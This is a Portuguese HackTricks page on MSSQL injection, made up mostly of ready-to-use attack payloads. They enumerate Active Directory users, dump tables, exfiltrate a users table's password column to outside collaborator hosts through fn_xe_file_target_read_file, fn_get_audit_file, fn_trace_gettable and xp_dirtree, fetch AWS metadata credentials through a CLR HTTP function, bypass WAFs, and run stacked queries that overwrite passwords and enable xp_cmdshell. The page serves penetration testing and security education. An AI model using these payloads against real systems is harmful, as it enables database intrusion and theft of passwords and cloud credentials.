14 KiB
Injeção MSSQL
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud no github.
Enumeração do Active Directory
Pode ser possível enumerar usuários de domínio via injeção SQL dentro de um servidor MSSQL usando as seguintes funções MSSQL:
SELECT DEFAULT_DOMAIN()
: Obter o nome do domínio atual.master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))
: Se você conhece o nome do domínio (DOMAIN neste exemplo), esta função retornará o SID do usuário Administrador em formato hex. Isso se parecerá com0x01050000000[...]0000f401
, note como os últimos 4 bytes são o número 500 em formato big endian, que é o ID comum do usuário administrador.
Esta função permitirá que você conheça o ID do domínio (todos os bytes exceto os últimos 4).SUSER_SNAME(0x01050000000[...]0000e803)
: Esta função retornará o nome de usuário do ID indicado (se houver), neste caso 0000e803 em big endian == 1000 (geralmente este é o ID do primeiro usuário regular criado). Então você pode imaginar que pode forçar bruta os IDs de usuários de 1000 a 2000 e provavelmente obter todos os nomes de usuários do domínio. Por exemplo, usando uma função como a seguinte:
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
Vetores Alternativos Baseados em Erro
Injeções SQL baseadas em erro tipicamente se assemelham a construções como +AND+1=@@version--
e variantes baseadas no operador «OR». Consultas contendo tais expressões geralmente são bloqueadas por WAFs. Como uma forma de contornar, concatene uma string usando o caractere %2b com o resultado de chamadas de função específicas que desencadeiam um erro de conversão de tipo de dados na informação desejada.
Alguns exemplos de tais funções:
SUSER_NAME()
USER_NAME()
PERMISSIONS()
DB_NAME()
FILE_NAME()
TYPE_NAME()
COL_NAME()
Exemplo de uso da função USER_NAME()
:
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
SSRF
fn_xe_file_target_read_file
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
Permissões: Requer permissão VIEW SERVER STATE
no servidor.
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';
fn_get_audit_file
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
Permissões: Requer a permissão CONTROL SERVER
.
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';
fn_trace_gettable
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
Permissões: Requer a permissão CONTROL SERVER
.
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';
xp_dirtree
, xp_fileexists
, xp_subdirs
O método mais comum para realizar uma chamada de rede que você encontrará usando MSSQL é o uso da Stored Procedure xp_dirtree
, que curiosamente não é documentada pela Microsoft, o que fez com que fosse documentada por outras pessoas na Internet. Esse método foi usado em vários exemplos de posts sobre Exfiltração de Dados Fora de Banda na Internet.
Essencialmente,
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');
Assim como o LOAD_FILE
do MySQL, você pode usar xp_dirtree
para fazer uma solicitação de rede apenas para a porta TCP 445. Você não pode controlar o número da porta, mas pode ler informações de compartilhamentos de rede.
PS: Isso não funciona no Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)
executado em um Windows Server 2016 Datacenter
na configuração padrão.
Existem outras stored procedures **** como master..xp_fileexist
ou xp_subdirs
que podem ser usadas para resultados semelhantes.
xp_cmdshell
Obviamente, você também pode usar xp_cmdshell
para executar algo que acione um SSRF. Para mais informações leia a seção relevante na página:
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %} pentesting-mssql-microsoft-sql-server {% endcontent-ref %}
MSSQL User Defined Function - SQLHttp
É bastante simples escrever uma CLR UDF (Common Language Runtime User Defined Function - código escrito com qualquer uma das linguagens .NET e compilado em um DLL) e carregá-lo dentro do MSSQL para funções personalizadas. Isso, no entanto, requer acesso dbo
então pode não funcionar a menos que a conexão da aplicação web com o banco de dados como sa
ou um papel de Administrador.
Este repositório do Github tem o projeto do Visual Studio e as instruções de instalação para carregar o binário no MSSQL como um assembly CLR e depois invocar solicitações HTTP GET de dentro do MSSQL.
O código http.cs
usa a classe WebClient
para fazer uma solicitação GET e buscar o conteúdo conforme especificado
using System.Data.SqlTypes;
using System.Net;
public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString (html);
}
}
Nas instruções de instalação, execute o seguinte antes da consulta CREATE ASSEMBLY
para adicionar o hash SHA512 do assembly à lista de assemblies confiáveis no servidor (você pode ver a lista usando select * from sys.trusted_assemblies;
)
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
Uma vez que a assembly é adicionada e a função criada, podemos executar o seguinte para fazer nossos pedidos HTTP
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
Exploração rápida: Recuperar uma tabela inteira em uma consulta
Existem duas maneiras simples de recuperar todo o conteúdo de uma tabela em uma consulta — o uso da cláusula FOR XML ou da cláusula FOR JSON. A cláusula FOR XML requer um modo especificado, como «raw», então em termos de brevidade, FOR JSON a supera.
A consulta para recuperar o esquema, tabelas e colunas do banco de dados atual:
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/5.png)
Vetores baseados em erro precisam de um alias ou nome, pois a saída de expressões sem nenhum dos dois não pode ser formatada como JSON.
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
Recuperando a consulta atual
A consulta SQL atualmente em execução pode ser recuperada acessando sys.dm_exec_requests
e sys.dm_exec_sql_text
:
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
Permissões: Se o usuário tem permissão VIEW SERVER STATE no servidor, ele verá todas as sessões em execução na instância do SQL Server; caso contrário, o usuário verá apenas a sessão atual.
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
Pequenos truques para contornar WAFs
Caracteres de espaço em branco não padrão: %C2%85 или %C2%A0:
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
Notação científica (0e) e hexadecimal (0x) para ofuscar UNION:
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
Um ponto em vez de um espaço em branco entre FROM e o nome de uma coluna:
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
\N separador entre SELECT e uma coluna descartável:
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
Bypass de WAF com consultas empilhadas não ortodoxas
De acordo com este post do blog, é possível empilhar consultas no MSSQL sem usar ";":
Então, por exemplo, múltiplas consultas como:
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]
Pode ser reduzido a:
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
Portanto, pode ser possível contornar diferentes WAFs que não consideram esta forma de empilhar consultas. Por exemplo:
# Adding a useless exec() at the end and making the WAF think this isn't a valid querie
admina'union select 1,'admin','testtest123'exec('select 1')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'
# Using weirdly built queries
admin'exec('update[users]set[password]=''a''')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'
# Or enabling xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## This will be
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
Referências
- https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/
- https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/
Aprenda AWS hacking do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o merchandising oficial do PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios do github HackTricks e HackTricks Cloud.